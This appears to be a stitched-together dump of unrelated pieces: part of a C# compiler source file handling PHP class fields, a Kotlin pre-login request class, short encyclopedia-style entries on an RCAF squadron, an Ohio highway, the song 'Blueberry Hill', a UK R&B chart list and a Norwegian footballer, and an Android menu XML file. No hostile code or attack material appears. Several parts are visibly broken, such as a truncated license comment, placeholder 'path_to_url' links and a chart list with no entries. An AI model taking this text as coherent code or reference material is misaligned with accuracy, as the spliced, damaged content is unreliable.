readonly Location _location;
/// <summary>
/// Optional associated PHPDoc block defining the field type hint.
/// </summary>
internal IDocBlock PHPDocBlock { get; }
/// <summary>
/// Declared accessibility - private, protected or public.
/// </summary>
readonly Accessibility _accessibility;
readonly BoundExpression _initializer;
ImmutableArray<AttributeData> _attributes;
/// <summary>
/// Gets enumeration of property source attributes.
/// </summary>
public IEnumerable<SourceCustomAttribute> SourceAttributes => _attributes.OfType<SourceCustomAttribute>();
/// <summary>
/// Gets value indicating whether this field redefines a field from a base type.
/// </summary>
public bool IsRedefinition => !ReferenceEquals(OverridenDefinition, null);
/// <summary>
/// Gets field from a base type that is redefined by this field.
/// </summary>
public FieldSymbol OverridenDefinition
{
get
{
if (ReferenceEquals(_originaldefinition, null))
{
// resolve overriden field symbol
_originaldefinition = ResolveOverridenDefinition() ?? this;
}
return ReferenceEquals(_originaldefinition, this) ? null : _originaldefinition;
}
}
FieldSymbol _originaldefinition;
FieldSymbol ResolveOverridenDefinition()
{
// lookup base types whether this field declaration isn't a redefinition
if (this.FieldKind == PhpPropertyKind.InstanceField)
{
for (var t = _containingType.BaseType; t != null && t.SpecialType != SpecialType.System_Object; t = t.BaseType)
{
var candidates = t.GetMembers(_fieldName)
.OfType<FieldSymbol>()
.Where(f => f.IsStatic == false && f.DeclaredAccessibility != Accessibility.Private);
//
var fld = candidates.FirstOrDefault();
if (fld != null)
{
return fld is SourceFieldSymbol srcf ? srcf.OverridenDefinition ?? fld : fld;
}
}
}
return null;
}
/// <summary>
/// Optional property that provides public access to <see cref="OverridenDefinition"/> if it is protected.
/// </summary>
public PropertySymbol FieldAccessorProperty
{
get
{
if (IsRedefinition && OverridenDefinition.DeclaredAccessibility < this.DeclaredAccessibility && _fieldAccessorProperty == null)
{
// declare property accessing the field from outside:
var type = OverridenDefinition.Type;
// TYPE get_NAME()
var getter = new SynthesizedMethodSymbol(this.ContainingType, "get_" + this.Name, false, false, type, this.DeclaredAccessibility);
// void set_NAME(TYPE `value`)
var setter = new SynthesizedMethodSymbol(this.ContainingType, "set_" + this.Name, false, false, DeclaringCompilation.CoreTypes.Void, this.DeclaredAccessibility);
setter.SetParameters(new SynthesizedParameterSymbol(setter, type, 0, RefKind.None, "value"));
// TYPE NAME { get; set; }
var fieldAccessorProperty =
new SynthesizedPropertySymbol(
this.ContainingType, this.Name, false,
type, this.DeclaredAccessibility,
getter: getter,
setter: setter
);
Interlocked.CompareExchange(ref _fieldAccessorProperty, fieldAccessorProperty, null);
}
return _fieldAccessorProperty;
}
}
PropertySymbol _fieldAccessorProperty;
public SourceFieldSymbol(
SourceTypeSymbol type, string name, Location location, Accessibility accessibility,
IDocBlock phpdoc, PhpPropertyKind kind,
BoundExpression initializer = null,
ImmutableArray<AttributeData> attributes = default)
{
Contract.ThrowIfNull(type);
Contract.ThrowIfNull(name);
_containingType = type;
_fieldName = name;
_fieldKind = kind;
_accessibility = accessibility;
_initializer = initializer;
_location = location;
_attributes = attributes.IsDefault ? ImmutableArray<AttributeData>.Empty : attributes;
PHPDocBlock = phpdoc;
// implicit attributes from PHPDoc
var deprecated = phpdoc.GetDocEntry(AstUtils.DeprecatedTagName);
if (deprecated != null)
{
// [ObsoleteAttribute(message, false)]
_attributes = _attributes.Add(DeclaringCompilation.CreateObsoleteAttribute(deprecated));
}
}
#region FieldSymbol
public override string Name => _fieldName;
public override Symbol AssociatedSymbol => null;
public override Symbol ContainingSymbol => ((IPhpPropertySymbol)this).ContainingStaticsHolder ?? _containingType;
internal override PhpCompilation DeclaringCompilation => _containingType.DeclaringCompilation;
public override ImmutableArray<CustomModifier> CustomModifiers => ImmutableArray<CustomModifier>.Empty;
public override Accessibility DeclaredAccessibility => _accessibility;
public override ImmutableArray<SyntaxReference> DeclaringSyntaxReferences { get { throw new NotImplementedException(); } }
public override bool IsVolatile => false;
public override ImmutableArray<Location> Locations => ImmutableArray.Create(_location);
internal override bool HasRuntimeSpecialName => false;
internal override bool HasSpecialName => false;
internal override bool IsNotSerialized => false;
internal override MarshalPseudoCustomAttributeData MarshallingInformation => null;
internal override ObsoleteAttributeData ObsoleteAttributeData => null;
internal override int? TypeLayoutOffset => null;
public override ImmutableArray<AttributeData> GetAttributes() => _attributes;
#endregion
internal override ConstantValue GetConstantValue(bool earlyDecodingWellKnownAttributes)
{
return (_fieldKind == PhpPropertyKind.ClassConstant) ? Initializer?.ConstantValue.ToConstantValueOrNull() : null;
}
internal override TypeSymbol GetFieldType(ConsList<FieldSymbol> fieldsBeingBound)
{
// TODO: PHP 7.4 typed properties // path_to_url
//
if ((IsConst || IsReadOnly) && Initializer != null)
{
// resolved type symbol if possible
if (Initializer.ResultType != null)
{
return Initializer.ResultType;
}
// resolved value type if possible
var cvalue = Initializer.ConstantValue;
if (cvalue.HasValue)
{
var specialType = (cvalue.Value != null)
? cvalue.ToConstantValueOrNull()?.SpecialType
: SpecialType.System_Object; // NULL
if (specialType.HasValue && specialType != SpecialType.None)
{
return DeclaringCompilation.GetSpecialType(specialType.Value);
}
}
//
//return DeclaringCompilation.GetTypeFromTypeRef(typectx, Initializer.TypeRefMask);
}
// default
return DeclaringCompilation.CoreTypes.PhpValue;
}
/// <summary>
/// <c>const</c> whether the field is a constant and its value can be resolved as constant value.
/// </summary>
public override bool IsConst => _fieldKind == PhpPropertyKind.ClassConstant && GetConstantValue(false) != null;
/// <summary>
/// <c>readonly</c> applies to class constants that have to be evaluated at runtime.
/// </summary>
public override bool IsReadOnly => _fieldKind == PhpPropertyKind.ClassConstant && GetConstantValue(false) == null;
/// <summary>
/// Whether the field is real CLR static field.
/// </summary>
public override bool IsStatic => _fieldKind == PhpPropertyKind.AppStaticField || IsConst; // either field is CLR static field or constant (Literal field must be Static).
internal IDocEntry FindPhpDocVarTag() => PHPDocBlock.GetDocEntry("@var") ?? PHPDocBlock.GetDocEntry("@staticvar");
public override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken))
{
var summary = string.Empty;
if (PHPDocBlock != null)
{
summary = PHPDocBlock.Summary;
if (string.IsNullOrWhiteSpace(summary))
{
// try @var or @staticvar:
var vartag = FindPhpDocVarTag();
if (vartag != null)
{
summary = vartag.ToString();
}
}
}
return summary;
}
}
}
```
|
```kotlin
package com.x8bit.bitwarden.data.auth.datasource.network.model
import kotlinx.serialization.SerialName
import kotlinx.serialization.Serializable
/**
* Request body for pre login.
*/
@Serializable
data class PreLoginRequestJson(
@SerialName("email")
val email: String,
)
```
|
405 Long Range Patrol Squadron is a unit of the Royal Canadian Air Force (RCAF) within the Canadian Forces, initially formed as No. 405 Squadron RCAF during the Second World War.
Service history
World War II
No. 405 Squadron RCAF was formed at Driffield, Yorkshire, on 23 April 1941 as an Article XV squadron and equipped with the Vickers Wellington bomber. It flew the RCAF's first bombing operation ten weeks later on 12/13 June, attacking the railway marshalling yards at Schwerte. It converted to the Handley Page Halifax in April 1942, taking part in the historic 1,000-bomber raid on Cologne on the night of 30/31 May 1942.
In late October 1942, the squadron was loaned to Coastal Command to fly anti-submarine patrols in the Bay of Biscay at the time of the North African landings.
Returning to Bomber Command at the beginning of March 1943, the squadron flew with No. 6 Group RCAF for short time before being selected for the elite No. 8 (Pathfinder) Group based at Gransden Lodge Airfield, with which it served until the end of the war. Through the last 20 months of the bomber offensive the squadron was equipped with the Avro Lancaster.
The squadron's last operational mission took place on 25 April 1945 when nine Lancasters bombed the Berghof, and four aircraft bombed enemy gun batteries on island of Wangerooge. The squadron was disbanded on 5 September 1945.
Post war
The squadron was reformed on 1 April 1947 as No. 405 Bomber Reconnaissance Squadron at RCAF Station Greenwood, and was later redesignated No. 405 Maritime Reconnaissance Squadron and then No. 405 Maritime Patrol Squadron.
In April 1950, as a Maritime Patrol Squadron, the squadron was equipped with modified Mark X Lancasters. These were replaced in mid-1955 by the P2V7 Neptune giving the squadron a much greater anti-submarine capability.
In April 1958 the squadron was given the distinction of being the first to fly the Canadian-built CP-107 Argus. The squadron made its last flight in the Argus on 10 November 1980 before introducing the CP-140 Aurora.
Current operations
Though 405 Squadron's primary combat functions are anti-submarine (ASW) and anti-surface warfare (ASUW), most of its time is spent fulfilling a variety of non-combat roles. These include search and rescue, counter-drug operations with the RCMP, and anti-pollution and fisheries patrols. It flew operations in the Arabian Sea after the 11 September 2001 terrorist attacks.
References
Notes
Bibliography
405 Squadron
405 Maritime Patrol Squadron
History of 405 Squadron
Canadian Department of National Defence – Honours & Recognition for the Men and Women of the Canadian Armed Forces 10th Edition – 2016. Accessed 14 March 2019
External links
405 LRPS
Canadian Forces aircraft squadrons
Royal Canadian Air Force squadrons
|
State Route 115 (SR 115) is a long north–south state highway in the western portion of the U.S. state of Ohio. The highway has its southern terminus at a T-intersection with SR 65 in the northernmost portion of the city of Lima. The northern terminus of SR 115 is at a T-intersection with SR 15 approximately southeast of the village of Continental.
Route description
SR 115 traverses the northern portion of Allen County and the western half of Putnam County. No section of this state route is included within the National Highway System (NHS). The NHS is a network of highways considered to be most important for the nation's economy, mobility and defense.
History
SR 115 made its debut in 1923. When it was first designated, SR 115 utilized all of its current alignment, then proceeded to the northwest from its present northern terminus a short distance along the current SR 15, then known as SR 22, to the County Road 18 (CR 18) intersection. It then followed CR 18 north into Henry County to CR B, where it turned east, and followed CR B a short distance. At CR 17, SR 115 turned north, and followed the county road a short distance to the CR 16C intersection. The state route then followed CR 16C northeast into Holgate, where it ran along Wilhelm Street up to the point where it came to an end at its junction with what is now SR 108, but at the time designated as SR 188.
SR 115 would take on its current shape in 1969 when all of the highway from its present northern terminus at SR 15 to SR 108 in Holgate was removed from the state highway system. The concurrent portion with SR 15 became just SR 15, while jurisdiction of all other portions of the former SR 115 was turned over to Putnam and Henry Counties.
Major intersections
References
External links
115
Transportation in Allen County, Ohio
Transportation in Putnam County, Ohio
|
"Blueberry Hill" is a popular American song published in 1940 first recorded and released by Sammy Kaye in 1940 on RCA Victor. It is best remembered for its 1950s rock and roll version by Fats Domino.
Background and first releases
The music for "Blueberry Hill" was composed by Vincent Rose and the lyrics by Larry Stock and Al Lewis. It was recorded six times in 1940.
Sammy Kaye recorded and released the first recording of the song on RCA Victor Records with vocals by Tommy Ryan on May 31, 1940. Gene Krupa's version was issued on OKeh Records on June 3. Singer Mary Small recorded a vocal version on the same label with Nat Brandwynne's orchestra, released June 20, 1940.
The first hit version and the most successful in 1940 was by the Glenn Miller Orchestra, which reached #2 on the US charts featuring Ray Eberle on vocals. This was the most famous version in the 1940s. It was recorded in Chicago on May 13, 1940 and released on RCA Bluebird Records as catalog number B-10768-A. It was released by EMI on the His Master's Voice label as catalog numbers BD 5632 and MH 92.
Other 1940 recordings were by Kay Kyser, Russ Morgan, Connee Boswell, Johnny Messner, and Jimmy Dorsey.
Gene Autry recorded the song in 1940 also and the song appeared in his 1941 film The Singing Hill.
Dennis Day performed the song on the radio comedy program The Jack Benny Program (November 10, 1940).
Louis Armstrong's 1949 recording on Decca Records with Gordon Jenkins charted in the Billboard Top 40, reaching number 29.
Fats Domino version
"Blueberry Hill" was an international hit in 1956 for Fats Domino and has become a rock and roll standard. It reached number two for three weeks on the Billboard Top 40 charts, becoming his biggest pop hit, and spent eight non-consecutive weeks at number one on the R&B Best Sellers chart. The version by Fats Domino was also ranked number 82 in Rolling Stone magazine's list of the 500 Greatest Songs of All Time.
Movie and TV appearances
The song has appeared in the following movies and TV shows:
The Singing Hill (1941)
Let the Good Times Roll (1973)
The Man Who Fell to Earth (1976)
Summertime Blues (1988)
Blueberry Hill (1988)
12 Monkeys (1995)
9 Dead Gay Guys (2002)
The Term or Srok (2014)
The Sixties, TV mini-series (2014)
Mike & Mike, TV (2016)
Capone (2020)
The Eyes of Tammy Faye (2021)
In popular culture
On the American television show, Happy Days, this was Richie Cunningham's favorite song.
Joe Edwards' restaurant Blueberry Hill, on the Delmar Loop in St. Louis, Missouri, where Chuck Berry frequently played, is named after the song.
Prime Minister of Russia Vladimir Putin made a cover performance of the song on December 10, 2010 before an audience of international film and television celebrities, in support of a charity for ill children. Videos of his performance quickly went viral worldwide.
References
1940 songs
1940 singles
1956 singles
1957 singles
Songs written by Larry Stock
Songs written by Al Lewis (lyricist)
Fats Domino songs
Gene Autry songs
Louis Armstrong songs
Grammy Hall of Fame Award recipients
United States National Recording Registry recordings
Imperial Records singles
Articles containing video clips
Songs written by Vincent Rose
Okeh Records singles
|
The UK R&B Singles Chart is a weekly chart that ranks the 40 biggest-selling singles and albums that are classified in the R&B genre in the United Kingdom. The chart is compiled by the Official Charts Company, and is based on both physical, and digital sales.
The following are the songs which have topped the UK R&B Singles Chart in 2020.
Number-one singles
Notes
- The single was simultaneously number one on the UK Singles Chart.
- The artist was simultaneously number one on the R&B Albums Chart.
See also
List of UK Singles Chart number ones of 2020
List of UK R&B Albums Chart number ones of 2020
List of UK Dance Singles Chart number ones of 2020
References
External links
R&B Singles Top 40 at the Official Charts Company
UK Top 40 RnB Singles at BBC Radio 1
2020 in British music
United Kingdom RandB Albums
2020
|
Håvard Sakariassen (born 28 August 1976) is a Norwegian retired football striker he played for FK Bodø/Glimt. He previously played for Aalesunds FK, Bryne FK and Moss FK. He announced his retirement in August 2011.
Career statistics
References
External links
Guardian's Stats Centre
1976 births
Living people
Norwegian men's footballers
FK Bodø/Glimt players
Moss FK players
Bryne FK players
Aalesunds FK players
Eliteserien players
Footballers from Bodø
Men's association football forwards
|
```xml
<?xml version="1.0" encoding="utf-8"?>
path_to_url
Unless required by applicable law or agreed to in writing, software
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-->
<menu xmlns:android="path_to_url"
>
<item
android:id="@+id/action_about"
android:title="@string/about"
>
</item>
</menu>
```
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.